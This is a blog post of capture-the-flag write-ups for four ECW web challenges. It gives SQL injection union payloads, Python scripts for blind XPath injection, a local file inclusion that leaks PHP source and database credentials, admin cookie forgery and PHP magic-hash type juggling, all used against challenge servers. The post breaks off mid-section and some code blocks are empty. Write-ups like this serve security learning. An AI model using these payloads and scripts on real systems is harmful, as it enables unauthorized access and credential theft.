--- layout: post title: ECW CTF - Web Writeups image: /images/default.jpg --- ## Challenges's Writeup - Online Prequals - [Web 50 - Hall of Fame](ECW-CTF/#web-50---hall-of-fame) - [Web 100 - Pass Through](ECW-CTF/#web-100---pass-through) - [Web 150 - GoldFish](ECW-CTF/#web-150---goldfish) - [Web 175 - Magic Car](ECW-CTF/#web-175---magic-car) ## Web 50 - Hall of Fame This challenge was a basic SQL injection, let's follow our [methodology](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL injection/MySQL Injection.md) and extract the informations in the database. First we need to extract the columns number of the current "SELECT column1, column2 FROM ..." {% highlight php%} 1' union select 1,2,3,4,5,6# {% endhighlight %} We can clearly see the injection point is located in the 4th columns. Let's extract the version now {% highlight php%} 1' union select 1,2,3,version(),5,6# 5.7.17-0ubuntu0.16.04.1 5 {% endhighlight %} Extract database name {% highlight php%} 1' union select 1,2,3,gRoUp_cOncaT(0x7c,schema_name,0x7c),5,6 fRoM information_schema.schemata# 3 |information_schema|,|ecw| 5 {% endhighlight %} This is interesting, there is an ECW database. Let's dig into it by extracting the table name. {% highlight php%} 1' union select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C),5,6 fRoM information_schema.tables wHeRe table_schema="ecw"# 3 |users| 5 {% endhighlight %} Extract columns name {% highlight php%} 1' union select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C),5,6 fRoM information_schema.columns wHeRe table_name="users"# 3 |rank|,|username|,|score|,|password|,|comment| 5 {% endhighlight %} That's great now we can do a simple "SELECT" query to get the username and password of every users. {% highlight php%} 1' union select 1,2,3,gRoUp_cOncaT(password),5,6 fRoM users# ECW{69d7da73beaab34d6034211c0d848848}, ECW{e0d409de9fa2e61e6635e27fb73cc5e7}, ECW{2455afd815b54a0ce60b73074c3a652c}, ECW{cdf6c1b0ce7b41872a267d66e2b2dfa0}, ECW{8361993d2541062b311e61b0ade994ee}, ECW{420c7523b0a7ba0f8f40f8e98cad3c38}, ECW{77a66a027d20c8ecce920d3c3d8fb2c8}, ECW{03e8d7e2fc14e0a8b4b978f8367e6d3b}, ECW{b55ec992616468307c6cc4154dfd37a3}, ECW{d0c7cc155840d91c17fb3c885320ce1f}, ECW{c18018cb461d3b299bb5c437454abc80} {% endhighlight %} Unfortunately there are a lot of flags, we can try them all.. or be a little bit smarter. Since we can dump the content we can try to export the "comment" section {% highlight php%} 1' union select 1,2,3,gRoUp_cOncaT(comment,password,0x7c),5,6 fRoM users# I love french fries and create CTFECW{77a66a027d20c8ecce920d3c3d8fb2c8}|, {% endhighlight %} This one looked promising, and we can validate with it. ## Web 100 - Pass Through At first, I was looking for an SQL injection in order to bypass the login, the following payload worked: {% highlight php%} Username:admin Password:' or '1'='1 Authentification validée. Le mot de passe est le flag. {% endhighlight %} It says the "password is the flag", damn we need to extract it with a blind injection. After a lot of tries I discovered it was an XPATH injection instead of an SQL. We will use the string-length to check the size of a string, here we know the size of the username, this will help verify our guess. {% highlight php%} ' or '1'='1' and string-length(username)=5 and '1'='1 ' or '1'='1' and string-length(username)>4 and '1'='1 ' or '1'='1' and string-length(password)>40 and '1'='1 NOK ' or '1'='1' and string-length(password)>10 and '1'='1 OK ' or '1'='1' and string-length(password)>20 and '1'='1 OK ' or '1'='1' and string-length(password)>30 and '1'='1 OK {% endhighlight %} Now we can script this in order to extract the size of the password, since we know it's >20 and <40. {% highlight python%} passwdlen = 0 for i in range(20,40): payload = { 'nonce':'26a7ef027c271845670d1abc96014f2cfa5df865721b70d43cb51a0d93264553d1411815be8f68132ef7927e3a8eeb21a8da3b88fc0f521513babd55b10c9d29', 'username': 'admin', 'password': "' or '1'='1' and string-length(password)=REPLACE and '1'='1".replace('REPLACE',str(i)) } r = requests.post(url, data=payload, cookies = {'session': session}, verify=False ).text if not "invalide" in r: passwdlen = i print "Password length : "+str(i) {% endhighlight %} The output of this script will give the the length of the password : 37 Now we will extract the characters one by one with the "substring" method, e.g:substring("ABCD",2,1)='B' {% highlight python%} #!/usr/bin/python # -*- coding: utf-8 -*- import sys, getopt import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning if __name__ == "__main__": requests.packages.urllib3.disable_warnings(InsecureRequestWarning) url = "https://challenge-ecw.fr/chals/web100" session = ".eJwVj0Frg0AQRv9KmbOHRC0EoZeiCVuYkbQTZfZmEqO7ugYixdWQ_157e_AeH3xPGO7DpYbkCW9nSACtbiksHKYqkkVFyM2GWCI8HL2UXzZnmZC_HTpywkWnbRMSX2Ys1X-zwZAM8b5d-R0XFVJ62mJ49JRmPk-zrbhTrK3EyDjrUqKcVaSZ2vxQ9GKVF247YTJ52jpZPh2x8sTZIm5v9LolNptk6Tu03Qe8Avgd68dQufUA_ExmHLsZAqiuzgyQ3Kp-rAPoq6FZ9e2xGnOFZBe__gBfKVAP.DLpGFw.xgJdaSDoDQNmN4w0D1OTDWYWiIs" passwdlen = 37 password="" for i in range(passwdlen-5,passwdlen+20): for c in range(32,250): payload = { 'nonce':'26a7ef027c271845670d1abc96014f2cfa5df865721b70d43cb51a0d93264553d1411815be8f68132ef7927e3a8eeb21a8da3b88fc0f521513babd55b10c9d29', 'username': 'admin', 'password': "' or substring(password,"+str(i)+",1)='"+chr(c) } r = requests.post(url, data=payload, cookies = {'session': session}, verify=False ).text print payload['password'] if not "invalide" in r: password += chr(c) print password break {% endhighlight %} With this we get BCPP6f5f5724aa2fa973bb9471746c2cb4a0} which looks like a flag, we can easily correct the first chars : ECW{6f5f5724aa2fa973bb9471746c2cb4a0} ## Web 150 - GoldFish GoldFish was a Web Application written in PHP, where you can write a "post-it" which will self-destroy after 30sec. For this challenge I created a user named "glopglopglop" this will be needed for the exploitation ;) First I tried to exploit an XSS, you could write a "Post" with the following input: {% highlight php%} postname: reflected in the url content : reflected in the page {% endhighlight %} The "Post" would be available at "/posts/user/postname" (this URL was found when you submit the same post twice in less than 30sec) Here is a simple output that triggered the XSS (the payload is from XSSHunter), it was available at https://challenge-ecw.fr/chals/web150/posts/glopglopglop/mymemo {% highlight php%} My super memo content!"> {% endhighlight %} I waited hours and hours, nothing happened.. Then I try to fuzz a little bit the "name" field since we could "rewrite" the URL. I finally managed to find an LFI with the source code reflected in the dashboard inside the memo. Thanks to this we could extract all the source code of the WebApp {% highlight php%} ../../index.php ../../include/session.php function checkCookie() { $user = null; if(isset($_COOKIE['web150'])) { $data = explode('_', $_COOKIE['web150']); if(count($data) == 2) { $id = $data[0]; $cipher = $data[1]; $userData = findUserById($id); if($userData != null) { if(strcmp(decryptString($cipher, $userData['login']), $userData['login']) == 0) $user = $userData; } } } ../../include/config.php $db_name = 'web150'; $db_login = 'web150'; $db_pass = 'Hell0Challenger!'; function generateHash($pPass) { $salt = 'uH39*z_f-D48w'; return hash('sha256', $salt . hash('sha256', $pPass)); } {% endhighlight %} The cookie part was interesting, it is decrypting its content with "decryptString". By looking deeper in the generation of the cookie I discovered it was based on the name of the user but the password wasn't part of it. {% highlight php%} function encryptString($pText){ $key = generateKey($pText); $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC), MCRYPT_RAND); $iv_to_pass_to_decryption = base64_encode($iv); return base64_encode($iv . mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $pText, MCRYPT_MODE_CBC, $iv)); } {% endhighlight %} This encrypted string was used in the cookie as follow: {% highlight php%} >>> import hackercodecs >>> "123_i89j6%2FHxno%2Bj14Thft%2BjlzbpzP1Qvqq6znJHbFMAdJ7YTFLiq0I4gzzsHrtFgr1ND%2FsuFU8H8A%2FI86YU5X0qIQ%3D%3D".decode('url') '123_i89j6/Hxno+j14Thft+jlzbpzP1Qvqq6znJHbFMAdJ7YTFLiq0I4gzzsHrtFgr1ND/suFU8H8A/I86YU5X0qIQ==' #id_encryptedstring_in_base64_in_url_encoded {% endhighlight %} This means we can forge our cookie to be connected as admin since we only need a valid hash based on his name. {% highlight php%} {% endhighlight %} The "ID" of admin was '1', after replacing our cookie with the forged one we get the following flag: {% highlight php%} Well done! This is the super flag : ECW{527007e99d5068963281e660d5fb5a8d} {% endhighlight %} ## Web 175 - Magic Car The topic of this challenge was the following text: "Notre nouveau système de réservation de covoiturage a été piraté. Le pirate a ajouté un nouveau formulaire d'authentification et a changé le mot de passe administrateur. Nous avons réussi à retrouver le code source de l'interface, mais nous ne pouvons pas récupérer le service sans les informations d'identification valides. Aide nous à les retrouver.". We had to find a way to login without a valid username/password. The source code of the challenge was also provided. {% highlight php%} {% endhighlight %} So we need to have an MD5 hash equal to 0e413229387827631581229643338212. This is a basic type juggling in PHP, because 0e0123.. is a float representation in PHP we can do the following: {% highlight php%} 0e123 == 0e456 True {% endhighlight %} We want a magic hashed in PHP, it's an hash where the content is only made of integers. WhiteHatSec already done the research for us : https://www.whitehatsec.com/blog/magic-hashes/ {% highlight php%}